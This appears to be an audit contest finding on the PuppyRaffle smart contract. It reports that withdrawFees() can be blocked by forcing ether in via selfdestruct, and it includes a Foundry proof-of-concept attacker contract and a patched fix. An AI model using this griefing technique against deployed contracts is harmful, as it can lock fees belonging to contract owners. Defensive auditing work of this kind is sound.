Submission Details
Severity:
`withdrawFees()` check for contract balance can lead to loss
Summary
The withdrawFees function checks whether the contract balance is equal to the totalFees set after the selectWinner() function is called. A malicious actor can send some ether to the contract which prevents the check to pass and leads to loss of fees.
Vulnerability Details
Given that the withdrawFees function checks whether the contract balance is equal to totalFees, any transfer of ether to the contract will lead to the balance being strictly greater. While the enterRaffle function is the only payable function in the contract, such transfer can be achieved by using selfdestruct in a separate contract.
function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Impact
Change the code in PuppyRaffleTest.t.sol and run forge test --mt testGiftLeadsToLossOfFees to see how a gift of funds to the contract prevents a successful call of withdrawFees.
PuppyRaffle puppyRaffle;
+ SelfdestructTest selfdestructTest;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
+ selfdestructTest = new SelfdestructTest(address(puppyRaffle));
}
// rest of code of `PuppyRaffleTest`
+ function testGiftLeadsToLossOfFees() public playersEntered {
+ vm.prank(playerOne);
+ vm.warp(block.timestamp + duration + 1);
+ vm.roll(block.number + 1);
+ puppyRaffle.selectWinner();
+ (bool s, ) = address(selfdestructTest).call{value: 1}("");
+ require(s, "Transfer failed");
+ vm.expectRevert();
+ puppyRaffle.withdrawFees();
+ }
// rest of code of `PuppyRaffleTest`
+ contract SelfdestructTest {
+ PuppyRaffle puppyRaffle;
+ constructor(address _puppyRaffle) {
+ puppyRaffle = PuppyRaffle(_puppyRaffle);
+ }
+ receive() external payable {
+ selfdestruct(payable(address(puppyRaffle)));
+ }
+ }
Tools Used
Foundry
Recommendations
Instead of checking the contract balance, check whether the player array is empty and add a boolean to differentiate between raffle states. Additionally, consider adding access control to allow only the owner to call the withdrawFees function (added here for best practice).
address[] public players;
uint256 public raffleDuration;
uint256 public raffleStartTime;
address public previousWinner;
+ bool public raffleState;
// rest of the code of `PuppyRaffle`
constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
entranceFee = _entranceFee;
feeAddress = _feeAddress;
raffleDuration = _raffleDuration;
raffleStartTime = block.timestamp;
+ raffleState = true;
rarityToUri[COMMON_RARITY] = commonImageUri;
rarityToUri[RARE_RARITY] = rareImageUri;
rarityToUri[LEGENDARY_RARITY] = legendaryImageUri;
rarityToName[COMMON_RARITY] = COMMON;
rarityToName[RARE_RARITY] = RARE;
rarityToName[LEGENDARY_RARITY] = LEGENDARY;
}
/// @notice this is how players enter the raffle
/// @notice they have to pay the entrance fee * the number of players
/// @notice duplicate entrants are not allowed
/// @param newPlayers the list of players to enter the raffle
function enterRaffle(address[] memory newPlayers) public payable {
+ require(raffleState, "Raffle not open");
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]);
}
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) {
// @audit: potential DoS attack vector
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
emit RaffleEnter(newPlayers);
}
// rest of the code of `PuppyRaffle`
function selectWinner() external {
+ require(raffleState, "Raffle not open");
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee); // @audit: unsafe cast
//totalFees += fee;
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
+ raffleState = false;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
- function withdrawFees() external {
+ function withdrawFees() external onlyOwner {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
+ require(!raffleState, "Raffle still open");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
+ raffleState = true;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates
Lead Judging Commences
Hamiltonite over 1 year ago
Submission Judgement Published Assigned finding tags:
greifers-send-money-to-contract-to-block-withdrawfees
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.